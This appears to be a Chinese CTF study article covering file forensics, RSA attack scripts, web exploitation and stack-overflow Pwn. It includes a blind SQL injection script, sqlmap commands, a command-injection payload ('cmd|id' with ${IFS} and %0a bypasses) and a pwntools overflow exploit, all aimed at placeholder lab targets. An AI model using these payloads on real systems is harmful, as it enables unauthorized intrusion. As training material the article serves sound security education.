尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

CTF常见题型解题思路:从文件识别到栈溢出的实战指南

CTF常见题型解题思路:从文件识别到栈溢出的实战指南 简介CTF夺旗赛入门与综合题型的知识梳理文档面向准备参加网络安全竞赛的学生、渗透测试初学者及安全技术爱好者旨在帮助读者快速建立从Web安全到二进制利用的完整知识框架。资源为单个docx笔记文件压缩包约18KB轻量便携可随时离线查阅与打印。文档系统整理Web方向的基础爆破、SQL注入与报错注入、文件上传绕过、代码审计等高频考点密码学中的编码转换、RSA非对称加密与散列函数逆向工程的脱壳与动态调试PWN栈溢出、格式化字符串与逻辑漏洞以及MISC隐写术、流量分析和日志分析等内容。每个部分按题型整理了解题切入点与通用思路比如SQL注入的联合注入步骤与盲注技巧、文件上传利用00截断或图片木马获取shell权限的方式。已有2065人学习下载适合赛前系统回顾也适合入门阶段对照练习借助这份笔记可快速了解常见题型的攻击链路与工具选用减少无效尝试时间。1. 先弄明白CTF题都在考什么四个常见类别与一轮比赛的分数配比CTF常见题型及解题思路说到底是一套“读题面、认题型、套手牌、写脚本验证”的循环。我第一次参加某线上赛时心想十几个题按难度升序做就行结果前三小时全砸在最后那道高分数Reverse上连Misc送分题都没碰。后来才明白CTF题的类别不是按“难度”排的而是按“值不值”排的。常见题型大致分四组Web、Misc、Crypto、Reverse加Pwn。Misc和Crypto通常先给附件或一串密文适合用来暖手Web需要读源码和请求逻辑选项多Reverse和Pwn分高但周期长适合放到中后段。下面按这个思路把每题型的常规解法和踩坑点展开。2. Misc与Crypto的破题常规文件识别、流量里的猫腻与RSA常见攻击Misc这名字听着玄学其实大部分题都落在“文件、流量、编码”三个筐里。Crypto则是“认算法、找弱点、写脚本”。两个类别有个共同点题目不会直接告诉你用什么手法所有线索都在附件和密文里。2.1 先给附件做一轮“体检”file、strings、binwalk与十六进制收尾第一步不是双击打开而是把附件拷到Linux环境跑一轮体检命令。常见做法是这样file mystery.png strings mystery.png | head -40 binwalk mystery.png xxd mystery.png | tail -20逻辑说明file按魔数判断真实类型题目常把zip改成png或jpg扩展名会骗人strings把所有可打印字符拉出来配合管道里的grep能快速发现藏在文件里的提示文本binwalk扫描复合文件内部偏移能发现“图片尾部还跟着一个压缩包”的情况xxd直接看原始字节用于确认文件头、尾部附加数据和编码标记。参数说明strings默认只取长度4以上的连续可打印序列如果题目把flag藏在短字符串里用-n 3把阈值降低binwalk不带参数时显示偏移表确认有货后再用-e提取。有些题目会故意在文件里填充垃圾数据binwalk会列出一堆伪偏移这时候要看偏移位置的magic字节不要盲目提取。一条典型链路是file显示JPEGbinwalk显示尾部有个zip提取之后发现zip是伪加密因此要处理加密标志位。常见做法是用python脚本清理local file header里的加密标记# 处理ZIP伪加密清除local file header中的加密标志位 with open(fake.zip, rb) as f: data bytearray(f.read()) data[6] data[6] 0xfe # 保留其他位清除bit 0 with open(real.zip, wb) as f: f.write(data)逻辑说明ZIP的local file header从第0字节起是PK\x03\x04第6字节是general purpose bit flag的低位bit 0为1表示加密。把这一位清成0后很多“伪加密”题就能直接解压。注意这套操作只对比赛给出的伪加密附件有意义不要在别的场景滥用。如果清掉标志后解压仍然要密码说明是真加密那就得到口令猜测那一类流程里去了。2.2 流量包中的信息提取从pcap里捞出flag的三种常见姿势流量题给pcap或pcapng第一步别打开Wireshark乱翻先看协议分布。我一般用tshark做统计和过滤tshark -r trace.pcapng -q -z io,phs tshark -r trace.pcapng -Y http.request -T fields -e http.host -e http.request.uri tshark -r trace.pcapng -Y dns -T fields -e dns.qry.name | sort -u foremost -i trace.pcapng -o pcap_extract逻辑说明io,phs显示协议分层统计看到某个协议占比异常重点看那个协议http.request过滤出所有HTTP请求并输出host和uri翻一遍能发现可疑路径或参数DNS输出查询域名并排序题目常把flag拆成多段拼在DNS query里sort -u能让你一眼看出哪些名字不自然foremost直接把流量里的可恢复文件劈出来图片、zip、甚至可执行文件都会落到pcap_extract目录。另一个通用动作是对单个TCP流做跟进看有无明文口令或命令。很多“找密码”题就藏在一来一往的对话式流量里。有些题故意把HTTP流量藏在TLS里如果解不了密就回头看ClientHello里的SNI有时server_name本身就是线索。流量文件的时间戳也要留意攻击或异常请求通常集中在某一段时间按时间过滤能显著缩小范围。2.3 Crypto的脚本化思路古典密码与RSA“送分”攻击Crypto题最怕的不是算法难而是认不出密文类型。我先做一层表示层排查Base64、Hex、URL编码、Unicode转义这些都不是加密只是换了个写法import base64 # 先试base64特征是以A-Za-z0-9结尾且带号补位 s ZmxhZ3... print(base64.b64decode(s).decode()) # 再试hex特征是只含0-9a-f且长度为偶数 h 666c6167 print(bytes.fromhex(h).decode())逻辑说明把这几类表示方式排除后再往真正的密码算法方向走。如果密文全是字母移位后能读出意思就是凯撒或维吉尼亚一类古典密码凯撒用暴力shift能跑出结果维吉尼亚先猜密钥长度再猜密钥。这些我经常用CyberChef或在线解码器跑但“写脚本”的能力依然要保留。RSA是Crypto题里的常客有两类送分攻击要提前备好脚本。第一类是低加密指数攻击当e3且m^3远小于n时密文直接开三次方就是明文from Crypto.Util.number import long_to_bytes from sympy import integer_nthroot # 低加密指数c m^e mod n且 m^e n m integer_nthroot(c, 3)[0] print(long_to_bytes(m))第二类是共模攻击题目给同一组n和两个加密指数且两个指数互质import gmpy2 from Crypto.Util.number import long_to_bytes # 题目给出 n, e1, c1, e2, c2且 gcd(e1, e2) 1 g, s, t gmpy2.gcdext(e1, e2) # 扩展欧几里得会得到 s*e1 t*e2 1 m (pow(c1, s, n) * pow(c2, t, n)) % n print(long_to_bytes(m))逻辑说明pow(c1, s, n)在Python 3.8以上支持负指数但要求底数与n互质实战中如果报错用inverse(pow(c1, -s, n), n)替换。这类脚本最好赛前在自己的环境里跑通一次比赛现场直接填变量别等开了赛再排错。2.4 字符编码的辨识顺序看见乱码先不要急着换编码Misc经常给一个文本文件打开是乱码新手第一反应是换文件编码其实要先判断这是“编码问题”还是“加密问题”。常见做法是先用chardet猜一把# 先让chardet猜编码 import chardet raw open(cipher.txt, rb).read() print(chardet.detect(raw))逻辑说明如果显示UTF-16或GBK转码后是正常文字说明只是编码表示问题如果转码后仍是乱码且字符分布均匀再考虑AES/DES这类算法。AES密文通常是一段不重复的随机字节可能再套一层Base64输出。另一类“编码”在Web题里很常见比如%xx、\u00xx、HTML实体看到这些别硬解按对应转义规则做逆变换。Misc和Crypto的公共起点都是“先表示层后算法层”不要一上来就猜算法。3. Web题怎么拿分SQL注入、文件上传与反序列化的脚本化试探Web题最大优点是入口明确给一个URL所有过程都发生在HTTP层。最大缺点是干扰信息多页面全是JS渲染光看浏览器界面什么都看不出来。所以我的顺序一直是先读源码和请求再上工具最后用脚本验证。以下所有请求都只针对比赛分配的靶机地址TARGET。3.1 一条“探洞”基线源码、robots、备份文件与目录扫描拿到地址后先做一轮低成本探测把首页、robots、常见备份文件名都拉一遍curl -s http://TARGET/ -o home.html curl -s http://TARGET/robots.txt curl -s http://TARGET/flag.bak curl -sI http://TARGET/逻辑说明第一行把首页存下来方便看注释和隐藏链接第二行看robots很多题目会把后台路径或者不允许爬取的入口写在里面第三行试探备份文件flag.bak、web.zip、www.zip、.git是Web题常见考点第四行看响应头Server和X-Powered-By能看出后端语言为后续注入和上传题选对脚本。目录扫描放到源码之后别一上来就暴力扫。常见做法是用dirsearchdirsearch -u http://TARGET -e php,jsp,zip,html,txt参数说明-e指定扩展名优先级能让结果更贴合后端语言如果页面报错信息很多加--exclude-status404过滤掉无用结果。提示不要对比赛之外的地址跑这些命令边界要清楚。3.2 SQL注入用布尔盲注脚本代替手工试错注入题喜欢把id参数放在URL里先加一个单引号看报错变化。很多新手认为必须手工猜其实盲注完全可以用循环脚本跑。下面是一个最小布尔盲注模板import requests url http://TARGET/ pos 1 result while True: low, high 32, 126 while low high: mid (low high) // 2 payload f1 and ascii(substr(database(),{pos},1)){mid} -- - r requests.get(url, params{id: payload}, timeout5) if You are in in r.text: # 触发条件按题目实际返回改 low mid 1 else: high mid ch chr(low) if ch : break result ch pos 1 print(result)逻辑说明payload里的“You are in”是题目的正常返回状态换成你自己的判断条件二分法把每个字符的请求次数从几十次降到八次左右timeout5防止脏数据卡死循环requests.Session()复用连接能再快一点。脚本跑通后想快速看全库再用sqlmap做二次确认sqlmap -u http://TARGET/?id1 --batch --dbs --level2参数说明--dbs只枚举数据库名--level2增加更多注入点测试--batch避免交互等待。sqlmap适合扫全量数据但前置条件是手工确认了注入点否则容易在一个假参数上浪费半天。3.3 文件上传与命令执行的检查点上传题的核心不是“传上去”而是判断校验发生在哪一层。我一般先上传一个普通txt测试文件观察返回的路径和文件名是否被重写再判断Content-Type、扩展名、文件头三层校验分别卡在哪一步。如果只查Content-Type改multipart请求里的Content-Type即可如果只查扩展名改后缀但要留意后端语言对解析顺序的处理如果查了文件头先加图片头再尝试在图片数据结束后追加文本观察服务器是保留全部内容还是只保留头部。具体载荷不在这里展开比赛时按题目语言和过滤规则写最小验证。命令执行类的思路更直接。看到URL参数被拼进system或exec一类函数先做最小回显测试curl -s http://TARGET/?cmd|id逻辑说明管道符把id命令拼进原始命令返回里的uid和gid说明命令执行成功。接下来再试分隔符被过滤的情况空格被过滤时用${IFS}分号被过滤时用%0a换行。这些都是在比赛分配的靶机地址上测试不要在别的站点上尝试。3.4 反序列题拿源码先定位输入点和魔术方法PHP反序列化题最关键的不是背payload而是找到哪一行把用户输入变成了unserialize。常见做法是先看源码再构造而不是拿现成exp乱试grep -rn unserialize /var/www/html 2/dev/null grep -rn eval\|system\|exec /var/www/html 2/dev/null逻辑说明第一行找入口函数第二行找危险函数把两条线连起来看才能构造完整链路。再配合下面这段类代码去理解考点class User { public function __destruct() { echo $this-name; } } // 题目通常会在读取输入后调用 unserialize($data)逻辑说明关注__destruct、__wakeup这些魔术方法里有没有危险调用再看哪些成员变量可控然后构造序列化字符串。很多考点不是“利用有多高级”而是你能不能从几百行代码里定位到这两个点。如果题目环境里有源码备份下载下来用grep搜unserialize和__destruct效率远高于肉眼阅读。4. Reverse和Pwn的落地路径保护机制、静态分析与最小利用链Reverse和Pwn是新手最容易产生挫败感的类别因为它们没有“一眼能看出思路”的入口更像一个黑匣子。但只要把流程固定成“验保护、读反编译、断点看栈、构造输入”四步大部分题目还是能吃下。4.1 用file和checksec给二进制“验明正身”拿到二进制文件先别急着丢进反编译器。先看它是什么架构开了哪些保护file pwn1 checksec --file./pwn1 readelf -h pwn1 objdump -d pwn1 | head -80逻辑说明file给出架构和链接方式checksec列出保护机制readelf看入口和段信息objdump直接看汇编开头。checksec的输出直接决定后面怎么打保护项影响NX栈不可执行不能直接执行shellcode要考虑ROPCanary栈溢出时覆盖到随机金丝雀会触发检测需要先泄漏或跳过PIE代码段基址随机需要泄漏地址再手动计算偏移RELROGOT表只读不能改写GOT表项考虑劫持返回地址或hookFORTIFY编译期安全检查常见于gets/printf这类函数调用逻辑说明开了PIE的题第一优先找泄漏点开了Canary的题先想清楚哪个输入点能先泄漏金丝雀。很多新手不看checksec就拿溢出脚本硬试本地不崩远程崩多半就是保护机制没对齐。4.2 静态分析首选字符串、交叉引用与伪代码静态分析先不看汇编先用字符串和符号把路探出来strings pwn1 | grep -iE flag|/bin/sh|system objdump -d pwn1 | grep -A20 main逻辑说明看到flag字样或system函数就顺着交叉引用列表找谁在调用它。很多题目的“后门函数”就藏在main附近的某个函数里直接跳到那里看条件。反编译工具给出的伪代码能省掉大量时间下面这种片段是常见形态// 以反编译工具输出为准还原了核心逻辑 int main() { char buf[32]; gets(buf); // 无长度限制标准溢出入口 printf(hello\n); return 0; }逻辑说明gets、strcpy、sprintf这类函数是危险函数的高频入口看到就标记一下。下一步用调试器确认buf到返回地址的距离而不是靠猜。4.3 动态调试的“三板斧”断点、观察栈、改输入静态分析只能告诉你“大概哪里有问题”具体偏移还得靠动态调试。我一般这样操作gdb ./pwn1 b *main0x123 run input.txt x/20gx $rsp info registers逻辑说明断点不要下在main入口下在read或gets之后的下一行这样输入已经写入栈可以观察buf与栈基址的距离。x/20gx $rsp看栈顶附近内容记住输入内容的起始地址info registers看RBP和RSP的差值算出偏移。另一种更快的方式是生成特征串填充输入让程序崩溃后读取RIP里的特征值cyclic 200 ./pwn1 /tmp/cyclic.txt # 程序崩溃gdb看RIP的值 cyclic -l 0x6161616b逻辑说明cyclic是pwntools提供的工具0x6161616b是特征字母的十六进制表示计算出的数字就是覆盖返回地址需要填充的字节数。这个技巧能把盲目试偏移的时间从半小时压缩到几分钟。4.4 Pwn题的最小利用链填充长度、后门地址与交互把偏移和后门地址都确认后写一个最小脚本验证整条链路from pwn import * context.arch amd64 context.log_level info # 本地调试用process远程时换成remote(题目IP, 端口) io process(./pwn1) offset 40 # 由cyclic测出的填充长度 backdoor 0x401234 # 后门函数地址用nm或objdump获取 payload bA * offset p64(backdoor) io.sendline(payload) io.interactive()逻辑说明p64把整数封包成小端字节序amd64的地址必须用p64而不是chr后门地址先用nm或objdump找不要凭感觉写。远程连接时把process换成remote题目会给出IP和端口payload本身不变。所有操作都限制在赛事分配的靶机环境内。注意如果题目开了PIE直接写死地址不成立要先泄漏函数地址再计算基址那是另一个分支等遇到时再单独展开。5. 解题避坑手册五个最不该犯的低级错误比赛里丢分往往不是不会做而是栽在很基本的处理细节上。下面几条是血泪经验按环节排一下。5.1 附件解压与文件识别阶段的三个翻车门现象1用strings在图片里搜到一个类似flag的字符串直接提交结果错误。 原因题目附件里嵌了第二个隐藏文件搜索到的只是误导内容真正的flag在分离后的压缩包里。 解决先binwalk -e和foremost完整提取再逐层审查把“先搜索再分离”的顺序反过来。现象2解压zip提示密码错误但题目没有给出密码注释里写着“伪加密”。 原因ZIP的加密标志位被手工改过压缩软件看到标志就要求口令。 解决按2.1的做法把local file header第6字节的bit 0清除再解压如果清除后仍要密码才是真加密再去跑口令字典。现象3同一个压缩包在Windows下能解压传到Linux却乱码或解压失败。 原因文件名用GBK编码Linux环境默认UTF-8个别压缩文件还用了非标准标记。 解决在Linux上用unzip -O GBK解压或者用python zipfile按字节处理文件名优先在干净目录里操作而不是双击解压。现象4图片文件打不开以为文件损坏直接放弃。 原因题目故意改坏了PNG的CRC或文件头需要修复而不是跳过。 解决用pngcheck定位错误字节对照PNG规范补CRC或者用已知正确文件头替换损坏位置修复后再做后续分析。5.2 脚本执行时的报错与参数误用现象1Crypto脚本在比赛环境跑不起来报import gmpy2失败。 原因容器里没装gmpy2离线环境也没法临时pip。 解决赛前把需要的库写进自己的依赖清单并预留安装包同时准备一个纯Python实现的扩展欧几里得避免依赖缺失就卡死。现象2布尔盲注脚本跑到一半卡死每个请求都等好几秒。 原因payload里带了sleep或服务端做了延时盲注再叠加网络RTT单次循环变慢。 解决去掉所有sleep用requests.Session()复用TCP连接给每次请求设timeout把字符集上下界直接设成32到126能显著减少请求次数。现象3pwntools脚本本地能通远程老崩。 原因本地和远程的libc版本不一致或本地没开PIE而远程开了PIE。 解决先用checksec看题目给的二进制用ldd查看本地libc版本如果不能确定优先在脚本里加一步地址泄漏不要直接写死偏移。5.3 时间分配与现场动作的提醒现象1比赛前半段全耗在一道逆向最后送分题没做。 原因没有先读全部题面也没有按分值和难度排序。 解决开赛后前20分钟把每道题的标题、附件类型、分值、当前信息写在一页纸上按“可做、需要时间、先放弃”分三类。现象2flag复制时漏了花括号或大小写不对提交后判定错误。 原因手输flag尤其是花括号里可能有大写字母和下划线。 解决一律复制粘贴每解完一题把flag单独存进一个文本文件提交时从文件里复制。现象3比赛结束想复盘题目环境已经回收附件和脚本随容器一起没了。 原因没有边做边保存。 解决每解一题就把附件、关键命令、payload脚本和flag写进本地笔记命名成“题目名-解题思路”赛后重新跑一遍。6. 从做完题到能持续拿分赛前热身、工具链检查与赛后复盘的习惯6.1 赛前把脚本模板先跑通比赛前一晚我会把常用工具链拉通一遍。具体做法是准备一个空目录放几个几十字节的测试文件依次执行file、binwalk、strings再跑一个用requests请求本地服务的连通性脚本最后跑一遍pwntools的本地进程测试。目标是确认python环境里import requests、Crypto.Util.number、gmpy2都不报错。如果哪个库报错马上换纯Python实现。不要指望比赛现场临时装环境所有依赖提前装好才踏实。6.2 赛后复盘的主要衡量指标复盘不需要把每道题都重写一遍最有用的是给每道题记录三个数字首次尝试耗时、实际解出耗时、卡住的环节。一周后选两道旧题限时重做不看笔记只做题面通过率能说明哪些套路真正进了脑子。如果同一道题第二次还是卡在同一个环节说明这个环节不是知识问题是流程问题值得单独写一张检查单。我以前比赛总在场上去翻现成脚本后来发现最值钱的不是某个exp而是知道什么时候该放弃。一道题超过40分钟没有进展我会把当前思路和脚本存档切到下一题等简单题拿完再回头。这个习惯让我从只做Misc慢慢能拿到Crypto和Pwn的分。希望帮到你。本文还有配套的精品资源点击获取
返回列表